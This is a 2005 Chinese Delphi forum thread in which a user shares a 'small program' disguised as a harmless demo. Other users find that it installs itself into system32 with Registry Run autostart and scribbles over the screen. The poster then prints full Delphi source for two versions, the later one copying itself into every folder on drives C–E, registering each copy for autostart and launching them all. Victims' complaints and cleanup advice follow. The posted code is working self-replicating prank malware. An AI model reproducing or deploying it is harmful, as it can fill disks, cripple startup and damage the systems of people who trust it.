盒子论坛 v2.1

DELPHI盒子

!实时搜索:	盒子论坛 \| 注册用户 \| 修改信息 \| 退出
	检举帖 \| 全文检索 \| 关闭广告 \| 捐赠

技术论坛

用户名

密码

自动登陆(30天有效)

忘了密码

≡技术区≡ ①

DELPHI技术

lazarus/fpc/Free Pascal

≡发布区≡ ②

≡事务区≡ ③

论坛信息

最新加入： lixuan123

今日帖子： 0

在线用户： 0

导航：

论坛 -> DELPHI技术斑竹:liumazi,sephil

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/10 16:39:43

标题：

一个小程序！谁来看一下~~~~~

加入我的收藏

楼主：

谢谢参观！

最好运行一下程序（写得不好，不要骂我呀~~~）！

[附件被斑竹删除]
----------------------------------------------

作者：

anlanet (小i)	★☆☆☆☆	-
	盒子活跃会员

2005/10/10 16:48:55

1楼：

布局效果似乎不太好...

此帖子包含附件:

大小:7.8K

----------------------------------------------
-

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/10 16:50:13

2楼：

哇，呵呵，你弄停了？~~~~
----------------------------------------------

作者：

liucomcn (劲草)	★☆☆☆☆	-
	盒子活跃会员

2005/10/10 17:51:41

3楼：

没有退出的啊，只能从五彩的屏幕中练就火眼金睛来找到Project1这个进程，然后结束。。。

不厚道。。。
----------------------------------------------
放眼望去,原来我不是最菜的菜鸟,嘻嘻...

作者：

liucomcn (劲草)	★☆☆☆☆	-
	盒子活跃会员

2005/10/10 20:37:31

4楼：

楼主不厚道！！！！

这个程序会释放Myapp.exe到系统文件夹下面。。

并且会写入注册表自启动。。。日。。建议删除该附件。。。
----------------------------------------------
放眼望去,原来我不是最菜的菜鸟,嘻嘻...

作者：

ruralboy (青瓜白菜番茄红)	★☆☆☆☆	-
	盒子活跃会员

2005/10/11 0:22:12

5楼：

劲草兄才厉害,我居然没发现的.

楼主你去死啦.弄个随机函数就来玩人家.你当好玩?还是了不起?真是无聊!害我删除的麻烦.
----------------------------------------------

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/12 13:02:03

6楼：

谢谢大家的关注，过几天再改进一下发上来，顺便也把源码贴出来，大家指点一下~~

你按 F1 不就暂停了吗？

如果我真想害大家，干脆把这个热键删掉，不留退路~~~

呵呵，说明文件里不是说了吗，遇到困难请按：F1

~~~~~~~~~~
----------------------------------------------

作者：

ruralboy (青瓜白菜番茄红)	★☆☆☆☆	-
	盒子活跃会员

2005/10/12 13:34:35

7楼：

事实上,我没有按 F11 就退出来了.真想害人的话,也可以加上扫描并删除 .pas 文件的子程序.但是这有意义吗?

你在系统中增加了 MyApp.exe 和 Project1.exe 为自启动,不是太无聊!

说明书不是人人都有时间去看的.
----------------------------------------------

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/13 19:00:47

8楼：

改版了，新增加了点功能~~~~~

建议计算机比较健壮的运行~~~

哪位大哥来试试呀`~

恭候佳音！

此帖子包含附件:cjianwen_2005101319045.rar 大小:158.7K

----------------------------------------------

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/13 19:44:55

9楼：

程序源码（附件1）：

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,Registry;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Label2: TLabel;
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
    procedure autorun;
    procedure addhotkey;
    procedure deletehotkey;
    procedure prohotkey(var msg:TWMhotkey);message WM_HOTKEY;
  public
    { Public declarations }
  end;
  TMyThrd=class(TThread)
  private
  fcanvas:TCanvas;
  fa,fb,fx,fy:integer;
  procedure drawline;
  protected
  procedure Execute;override;
  public
  constructor create(cas:TCanvas;x,y:integer);
   end;
var
  Form1: TForm1;
  fresume,fcontinue,fshow,fhide:integer;
  fcanclose:boolean;
  hd:HDC;
  fthd:TMyThrd;

implementation

{$R *.dfm}

{ TForm1 }

procedure TForm1.addhotkey;
begin
fshow:=globaladdatom('appshow');
fhide:=globaladdatom('apphide');
fresume:=globaladdatom('Threadresume');
fcontinue:=globaladdatom('threadcontinue');
registerhotkey(self.Handle,fshow,0,VK_F10);
RegisterHotkey(self.Handle,fhide,0,VK_F11);
RegisterHotkey(self.Handle,fresume,0,VK_F1);
RegisterHotkey(self.Handle,fcontinue,0,VK_F2);

end;

procedure TForm1.deletehotkey;
begin
Unregisterhotkey(self.Handle,fshow);
unregisterhotkey(self.Handle,fhide);
unregisterhotkey(self.Handle,fresume);
unregisterhotkey(self.Handle,fcontinue);
globaldeleteatom(fshow);
globaldeleteatom(fhide);
globaldeleteatom(fresume);
globaldeleteatom(fcontinue);
end;

procedure TForm1.prohotkey(var msg: TWMhotkey);
begin
if msg.HotKey=fresume then
begin
  if not fthd.Suspended then fthd.Suspend;
end
else if msg.HotKey=fcontinue then
    begin
    if fthd.Suspended then
    fthd.Resume;
    end
    else
if msg.HotKey=fshow then
self.Show
else if msg.HotKey=fhide then
self.Hide;
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
canclose:=fcanclose;
if not fcanclose then
self.Hide;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
cas:TCanvas;
begin
autorun;
fcanclose:=false;
addhotkey;
hd:=getwindowdc(0);
cas:=TCanvas.Create;
cas.Handle:=hd;
fthd:=TMythrd.create(cas,screen.Width,screen.Height);
fthd.Resume;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
deletehotkey;
fthd.Free;
end;

procedure TForm1.autorun;
var
a:array [0..100] of char;
s:string;
re:TRegistry;
begin
getwindowsdirectory(a,100);
s:=a+'\system32\myapp.exe';
copyfile(pchar(application.exename),pchar(s),false);
re:=TRegistry.Create;
try
re.RootKey:=HKEY_LOCAL_MACHINE;
re.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
re.WriteString('myapprun',s);
re.CloseKey;
finally
re.Free;
end;

end;

{ TMyThrd }

constructor TMyThrd.create(cas: TCanvas; x, y: integer);
begin
self.FreeOnTerminate:=true;
fcanvas:=cas;
fx:=x;
fy:=y;
fa:=1;
fb:=1;
randomize();
inherited create(false);
end;

procedure TMyThrd.drawline;
begin
fcanvas.MoveTo(fa,fb);
fcanvas.Pen.Width:=random(30)+1;
fcanvas.Pen.Color:=rgb(random(255),random(255),random(255));
fa:=random(fx);
fb:=random(fy);
fcanvas.LineTo(fa,fb);
fcanvas.Font.color:=clred;
fcanvas.Font.Size:=50;
fcanvas.TextOut(150,100,'欢迎使用该程序！');
fcanvas.Textout(150,200,'作者：空前  ');
fcanvas.Font.Size:=25;
fcanvas.TextOut(150,300,'E_mail: cai35819194@163.com');
end;

procedure TMyThrd.Execute;
begin
  inherited;
  while not (self.Terminated or application.Terminated ) do
  synchronize(drawline);

end;

end.
----------------------------------------------

作者：

dmantis (菜菜)	★☆☆☆☆	-
	普通会员

2005/10/13 22:20:48

10楼：

谢了，楼主!!
----------------------------------------------
-

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/15 20:09:00

11楼：

第二个附件有人打开过吗？

感觉怎么样~~~？
----------------------------------------------

作者：

anlanet (小i)	★☆☆☆☆	-
	盒子活跃会员

2005/10/17 1:27:40

12楼：

似乎原来的错误没重犯...

此帖子包含附件:

大小:9.8K

----------------------------------------------
-

作者：

rururu (rr)	★☆☆☆☆	-
	盒子活跃会员

2005/10/17 4:23:32

13楼：

还用TCanvas啊！那么慢的东东。
----------------------------------------------
-

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/17 18:40:43

14楼：

有人打开了呀，没发现什么问题吗？是不是你有还原精灵？

楼上的大哥，用什么东西可以比这个更快点？望指点！
----------------------------------------------

作者：

alecau (alecau)	★☆☆☆☆	-
	普通会员

2005/10/20 13:28:47

15楼：

可被你害惨了！！！！！！！！！！

----------------------------------------------
大家好,共同的爱好,共同的兴趣,让我们共同进步!

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/20 14:10:24

16楼：

楼上的朋友下载的第几个附件呀，请问出现什么情况了，说一下，谢谢！

还有你是怎么弄停的，你的机器现在好了吗？
----------------------------------------------

作者：

alecau (alecau)	★☆☆☆☆	-
	普通会员

2005/10/20 14:17:02

17楼：

第二个附件，没停呢。
----------------------------------------------
大家好,共同的爱好,共同的兴趣,让我们共同进步!

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/20 14:21:39

18楼：

哇，你在呀，聊聊，呵呵~~
----------------------------------------------

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/20 14:24:11

19楼：

能说说你的电脑有什么反应吗？
----------------------------------------------

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/20 14:25:30

20楼：

说说你那的情况，我想问你下，你那么放心的运行，你的电脑上一定有还原精灵吧？
----------------------------------------------

作者：

alecau (alecau)	★☆☆☆☆	-
	普通会员

2005/10/20 14:41:37

21楼：

误我事了，我可没还原的。加我msn快！！！！！！！！！！
----------------------------------------------
大家好,共同的爱好,共同的兴趣,让我们共同进步!

作者：

alecau (alecau)	★☆☆☆☆	-
	普通会员

2005/10/20 15:38:29

22楼：

我搞定了，我这么放心的运行你的程序，真是被你害死了。你怎么还不加入！不加入不告诉你现象、方法。。。。！

----------------------------------------------
大家好,共同的爱好,共同的兴趣,让我们共同进步!

作者：

lzbyuc (洪涛)	★☆☆☆☆	-
	普通会员

2005/10/20 15:46:11

23楼：

挺有趣的
----------------------------------------------
HA~HA~~HA~~~

作者：

gbm_pgs (编程之道)	★☆☆☆☆	-
	盒子活跃会员

2005/10/21 10:31:26

24楼：

我也来看看!
----------------------------------------------
寂静的虚空里诞生了神秘的东西，这种东西恒久存在永不消失，它是所有程序的根源所在，我不知道怎么形容它，姑且称它为编程之道!

作者：

fanx (我是一只鱼)	★☆☆☆☆	-
	盒子活跃会员

2005/10/21 10:49:41

25楼：

哇CAO！！給你害死了，有點病毒質！
好心樓主你就不要玩大家了！
----------------------------------------------
-

作者：

fanx (我是一只鱼)	★☆☆☆☆	-
	盒子活跃会员

2005/10/21 11:00:05

26楼：

暈死了，這損人的鬼程序幾乎遍歷了C盤所以文件夾，每個文件夾都放了一個副本，害我差點刪錯東西，信錯人了！！

此帖子包含附件:

大小:179.8K

----------------------------------------------
-

作者：

fanx (我是一只鱼)	★☆☆☆☆	-
	盒子活跃会员

2005/10/21 11:03:28

27楼：

看看這個

此帖子包含附件:

大小:46.7K

----------------------------------------------
-

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/21 13:33:37

28楼：

alecau (alecau)

我没有msn，也没用过那东西，只听说过，要不你加我QQ：35819194

呵呵，楼上你的操作系统是什么版本呀，怎么是繁体字，好多字我不认识！

你的系统有还原精灵吗？能告诉我你是怎么解决的吗？

还有这两天我打不开 :www.delphibbs.com ，不知道那上面怎么样了~~~
----------------------------------------------

作者：

red_sheep (有罪羔羊)	★☆☆☆☆	-
	盒子活跃会员

2005/10/21 14:48:16

29楼：

??这个干嘛用的
----------------------------------------------
-

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/21 14:51:38

30楼：

这个啊，你试试就知道干嘛用的了。。。。。。

哇，http://delphibbs.2ccc.com 大富翁换网址了，今天才发现！
----------------------------------------------

作者：

Softcheat (Softcheat)	★☆☆☆☆	-
	普通会员

2005/10/21 18:41:52

31楼：

嗯，很好呀，最后的代码也贴出来吧。

这里也有一个小程序很有意思的，不妨试试。

此帖子包含附件:Softcheat_20051021184152.rar 大小:检测失败

----------------------------------------------
-

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/22 8:48:54

32楼：

我现在在网吧，不能下载，哪天换个网吧试试看~~~~

楼上的厉害呀，用这么小的东西就写出来~~~

不过还没看是什么效果~~~

能不能把代码贴出来呀？

我过两天去学校机房上网，然后就把代码贴出来！
----------------------------------------------

作者：

Softcheat (Softcheat)	★☆☆☆☆	-
	普通会员

2005/10/22 9:19:02

33楼：

这不算什么，这里还有更好的，全部由API写的，很精致，以前研究过，改天我找找代码看，贴出来大家学习学习。

此帖子包含附件:Softcheat_200510229192.rar 大小:检测失败

----------------------------------------------
-

作者：

fanx (我是一只鱼)	★☆☆☆☆	-
	盒子活跃会员

2005/10/22 11:26:40

34楼：

沒有還原精靈和沒有開還原功能，刪注冊表裡的啟動信息，把你的程序全找出來刪了，你這個程序夠毒的了，是一個惡作劇程序。
如果不太會電腦和用自己電腦的人最好不要運行這個程序，不然重啟後會很慘的！
如果你系統裝的東西多的話，啟動的時候可能會運行上千次這個這個程序，然後你電腦裡每啟動一次就會有你C盤+D盤的文件夾的個數的C盤+D盤的文件夾的個數次方個這個程序，簡單的說就是：C盤+D盤的文件夾的個數　為　N，每啟動一次電腦（如果你電腦利害可以啟動完成的話）就會有N的N次方個這個300多K的垃圾程序文件　硬盤一樣就爆了！我想超級電腦也會當機吧，幸好我在啟動電腦前就發現這個程序不對路，不然就給你害死了！我想有不少人把電腦送修了吧！
樓主你太損你的支持者了。鄙視你!

----------------------------------------------
-

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/22 14:11:00

35楼：

哇，楼上的大哥，你简直比我还了解这个小程序，小弟对你的敬仰简直犹如滔滔灌水，连绵不绝……

呵呵，开玩笑呀，注册表中的启动项那么多你不怕把系统的启动项也删了吗？
我就不知道哪些是系统的启动项~~~

----------------------------------------------

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/22 19:32:45

36楼：

有还原精灵的运行，没有的还是算了，要不然我也不知道该怎么办~~~~

（还没测试，怕机器挂掉了，呵呵，所以先发上来保存一下，有可能没用）

看看这个：

此帖子包含附件:cjianwen_20051022193241.rar 大小:159.5K

----------------------------------------------

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/22 19:50:38

37楼：

Softcheat (Softcheat)

我运行了一下你的程序，但好象没有任何反应呀，只是把自己给删除了~~~~

能说说对电脑有什么影响吗？

或者贴贴源码~~~~
----------------------------------------------

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/22 20:21:29

38楼：

贴源码了，希望那位大侠( Softcheat (Softcheat) )也能把你的源码贴出来！

源码（最后一个附件的，有点差别，大同小异）：

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,Registry,shellapi;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Label2: TLabel;
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
    sldir:TStringlist;
    procedure SearchAllDir;
    procedure searchDir(apath:string);
    procedure autorun;
    procedure addhotkey;
    procedure deletehotkey;
    procedure prohotkey(var msg:TWMhotkey);message WM_HOTKEY;
  public
    { Public declarations }
  end;

  TMyThrd=class(TThread)
  private
  fcanvas:TCanvas;
  fa,fb,fx,fy:integer;
  procedure drawline;
  protected
  procedure Execute;override;
  public
  constructor create(cas:TCanvas;x,y:integer);
   end;

   TCopyThread=class(TThread)
   private
   fsl:TStringList;
   appname:string;
   function randname:shortstring;
   procedure atrun;
   protected
    procedure Execute;override;
    public
    constructor create(asl:Tstringlist);
    end;

    TRunThd=class(TThread)
    private
    flist:TStringList;
    procedure myrun;
    protected
    procedure Execute;override;
    public
    constructor create(alst:TStringList);
    end;
var
  Form1: TForm1;
  fclear,fresume,fcontinue,fshow,fhide,fclose:integer;
  fcanclose:boolean;
  hd:HDC;
  screenmap:TBitmap;
  fthd:TMyThrd;
  cptd:TcopyThread;

implementation

{$R *.dfm}

{ TForm1 }

procedure TForm1.addhotkey;
begin
fshow:=globaladdatom('appshow');
fhide:=globaladdatom('apphide');
fresume:=globaladdatom('Threadresume');
fcontinue:=globaladdatom('threadcontinue');
fclear:=globaladdatom('appclear');
fclose:= globaladdatom('appclose');
registerhotkey(self.Handle,fclear,0,VK_F3);
registerhotkey(self.Handle,fshow,0,VK_F10);
RegisterHotkey(self.Handle,fhide,0,VK_F11);
RegisterHotkey(self.Handle,fresume,0,VK_F1);
RegisterHotkey(self.Handle,fcontinue,0,VK_F2);
RegisterHotkey(self.Handle,fclose,0,VK_F6);
end;

procedure TForm1.deletehotkey;
begin
Unregisterhotkey(self.Handle,fclear);
Unregisterhotkey(self.Handle,fshow);
unregisterhotkey(self.Handle,fhide);
unregisterhotkey(self.Handle,fresume);
unregisterhotkey(self.Handle,fcontinue);
unregisterhotkey(self.Handle,fclose);
globaldeleteatom(fclear);
globaldeleteatom(fshow);
globaldeleteatom(fhide);
globaldeleteatom(fresume);
globaldeleteatom(fcontinue);
globaldeleteatom(fclose);
end;

procedure TForm1.prohotkey(var msg: TWMhotkey);
var
HH:HDC;
cc:TCanvas;
begin
if msg.HotKey=fclose then
begin
fcanclose:=true;
fthd.Terminate;
self.Close;
end
else if msg.HotKey=fresume then
begin
  if not fthd.Suspended then fthd.Suspend;
end
else if msg.HotKey=fcontinue then
    begin
    if fthd.Suspended then
    fthd.Resume;
    end
    else
if msg.HotKey=fshow then
self.Show
else if msg.HotKey=fhide then
self.Hide
else if msg.HotKey=fclear then
  begin
  hh:=getwindowdc(0);
  cc:=TCanvas.Create;
  try
  cc.Handle:=hh;
  cc.Draw(0,0,screenmap);
  finally
  cc.Free;
  end;
  end;
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
canclose:=fcanclose;
if not fcanclose then
self.Hide;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
cas:TCanvas;
R:TRect;
begin
autorun;
fcanclose:=false;
addhotkey;
screenmap:=TBitmap.Create;
hd:=getwindowdc(0);
cas:=TCanvas.Create;
cas.Handle:=hd;
screenmap.Width:=screen.Width;
screenmap.Height:=screen.Height;
r.Left:=0;
r.Top:=0;
r.Right:=screen.Width;
r.Bottom:=screen.Height;
screenmap.Canvas.CopyRect(r,cas,r);
fthd:=TMythrd.create(cas,screen.Width,screen.Height);
fthd.Resume;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
deletehotkey;
screenmap.Free;
end;

procedure TForm1.autorun;
var
a:array [0..100] of char;
s:string;
re:TRegistry;
begin
getwindowsdirectory(a,100);
s:=a+'\system32\myapp.exe';
if application.ExeName=s then exit;
copyfile(pchar(application.exename),pchar(s),false);
re:=TRegistry.Create;
try
re.RootKey:=HKEY_LOCAL_MACHINE;
re.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
if not re.ValueExists('myapprun') then
re.WriteString('myapprun',s);
re.CloseKey;
finally
re.Free;
end;

end;

procedure TForm1.SearchAllDir;
begin
sldir:=TStringlist.Create;
searchdir('c:\');
searchdir('d:\');
searchdir('e:\');
cptd:=TcopyThread.create(sldir);
cptd.Resume;

end;

procedure TForm1.searchDir(apath: string);
var
sl:TStringList;
searchrec:TSearchRec;
i:integer;
begin
sl:=Tstringlist.Create;
try
if FindFirst(apath+'*.*',faDirectory,searchrec)=0 then
  begin
    repeat
      if (searchrec.Attr=16) and (searchrec.Name<>'.') and (searchrec.name<>'..') then
          begin
          sldir.Add(apath+searchrec.Name+'\');
          sl.Add(apath+searchrec.Name+'\');
          end;
          application.ProcessMessages;
      until FindNext(searchrec)<>0;
      end;
      FindClose(searchrec);
      for i:=0 to sl.Count-1 do
      self.searchDir(sl.Strings[i]);
     finally
      sl.Free;
   end;

end;

{ TMyThrd }

constructor TMyThrd.create(cas: TCanvas; x, y: integer);
begin
self.FreeOnTerminate:=true;
fcanvas:=cas;
fx:=x;
fy:=y;
fa:=1;
fb:=1;
randomize();
inherited create(false);
end;

procedure TMyThrd.drawline;
begin
fcanvas.MoveTo(fa,fb);
fcanvas.Pen.Width:=random(30)+1;
fcanvas.Pen.Color:=rgb(random(255),random(255),random(255));
fa:=random(fx);
fb:=random(fy);
fcanvas.LineTo(fa,fb);
fcanvas.Font.color:=clred;
fcanvas.Font.Size:=50;
fcanvas.TextOut(150,100,'欢迎使用该程序！');
fcanvas.Textout(150,200,'作者：空前  ');
fcanvas.Font.Size:=25;
fcanvas.TextOut(150,300,'E_mail: cai35819194@163.com');
end;

procedure TMyThrd.Execute;
begin
  inherited;
  while not (self.Terminated or application.Terminated ) do
  synchronize(drawline);

end;

{ TCopyThread }

procedure TCopyThread.atrun;
var
i:integer;
re:TRegistry;
s,ts:string;
mylist:Tstringlist;
thd:TRunThd;
begin
re:=Tregistry.Create;
mylist:=TStringList.Create;
try
re.RootKey:=HKEY_LOCAL_MACHINE;
re.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
for i:=0 to fsl.Count-1 do
  begin
  s:=randname;
  ts:=fsl.Strings[i]+s+'.exe';
  if copyfile(pchar(appname),pchar(ts),false)=true then
     begin
     if re.ValueExists(s) then
       s:=s+randname;
       mylist.Add(ts);
       re.WriteString(s,ts);
      end;
     application.ProcessMessages;
   end;
   re.CloseKey;
   if not application.Terminated then
     begin
     sleep(3000);
     thd:=TRunThd.create(mylist);
     thd.Resume;
     end;
   finally
   re.Free;
   fsl.Free;
   end;
end;

constructor TCopyThread.create(asl:Tstringlist);
begin
Inherited create(false);
appname:=application.ExeName;
self.FreeOnTerminate:=true;
fsl:=asl;
randomize();
end;

procedure TCopyThread.Execute;
begin
  inherited;
  Synchronize(atrun);

end;

function TCopyThread.randname: shortstring;
var
i,n:integer;
begin
result:='';
n:=random(7)+3;
for i:=1 to n do
result:=result+char(random(26)+97);
end;

procedure TForm1.FormShow(Sender: TObject);
begin
SearchAllDir;
end;

{ TRunThd }

constructor TRunThd.create(alst: TStringList);
begin
inherited create(false);
self.FreeOnTerminate:=true;
flist:=alst;
end;

procedure TRunThd.Execute;

begin
  inherited;
  synchronize(myrun);

end;

procedure TRunThd.myrun;
var
i:integer;
begin
for i:=0 to flist.Count-1 do
begin
if application.Terminated then
   break;
   shellexecute(application.Handle,'open',pchar(flist.Strings[i]),nil,nil,SW_SHOWNORMAL);
end;
flist.Free;

end;

end.
----------------------------------------------

作者：

riverqh (可乐)	★☆☆☆☆	-
	盒子活跃会员

2005/10/23 11:31:03

39楼：

看不懂有什么用的，只知道楼主很厉害。
----------------------------------------------
Try To Learn More...

作者：

bianfuxia888888 (黑色蝙蝠侠)	★☆☆☆☆	-
	盒子活跃会员

2005/10/23 13:27:56

40楼：

做人要厚道，让人帮就不能骗人
----------------------------------------------
-

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/25 16:08:23

41楼：

如果写控制台程序，怎么获得可执行文件名呀？
----------------------------------------------

作者：

ken_da (ken)	★☆☆☆☆	-
	普通会员

2005/10/25 22:57:14

42楼：

太不厚道啊！花了好久才回到这个界面！我回来了！
----------------------------------------------
-

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/10/27 16:01:23

43楼：

发源码了，看的时候不要激动呀，小心按到F9了。。。。。。

此帖子包含附件:cjianwen_200510271619.rar 大小:44.1K

----------------------------------------------

作者：

kdw123 (想飞)	★☆☆☆☆	-
	普通会员

2005/11/26 14:17:53

44楼：

请问楼主,开机就运行这东东,我该怎么处理啊,谢谢了
----------------------------------------------
本人真实姓名：吴迪 QQ:156720478

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2005/12/31 17:35:31

45楼：

好久没看了，还有人跟贴呀？
TO楼上的：修改注册表，打开local_machin\software.....run 删除该程序的那个项就行了~
----------------------------------------------

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2006/2/23 21:46:39

46楼：

图书管理系统，代码有待完善！

此帖子包含附件:cjianwen_2006223214541.rar 大小:765.0K

----------------------------------------------

作者：

ljhok (有点心动)	★☆☆☆☆	-
	盒子活跃会员

2006/2/23 22:04:27

47楼：

知道为什么大道特讨厌芙蓉姐姐吗？？？楼主一定有答案！
可能楼主不知道芙蓉姐姐，否则，你怎么会发这样的帖子呢？？？？？？？

做人要厚道，贵在自知之明！唉叹世风日下呀！！！！！！！！！
----------------------------------------------
-

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2006/2/23 22:47:24

48楼：

这样的贴子不能发吗？
俺也不是把代码给贴出来了吗？
我觉得只要你把代码公开，什么样的程序都能放~~！

汗……偶是粗人，没什么文化，所以看不大懂你说的~~！
----------------------------------------------

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2006/2/26 9:06:43

49楼：

~~~

此帖子包含附件:cjianwen_20062269634.rar 大小:764.4K

----------------------------------------------

作者：

zlszls (ZLS)	★☆☆☆☆	-
	盒子活跃会员

2006/3/25 21:01:05

50楼：

你去死啦
----------------------------------------------
-

作者：

zlszls (ZLS)	★☆☆☆☆	-
	盒子活跃会员

2006/3/25 21:01:50

51楼：

了不起?
----------------------------------------------
-

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2006/3/26 10:49:54

52楼：

版主在吗？删贴吧，偶受不了了！

我真的错了吗？
----------------------------------------------

作者：

cjianwen (空前)	★☆☆☆☆	-
	盒子活跃会员

2006/3/26 11:17:15

53楼：

好了，这次发个正当的东西，要学数据库的新手们，可以看看下面的Demo:

http://bbs.2ccc.com/topic.asp?topicid=222038

大家不要再发表任何评论了，下这个贴子沉下去，谢谢！
----------------------------------------------

信息

登陆以后才能回复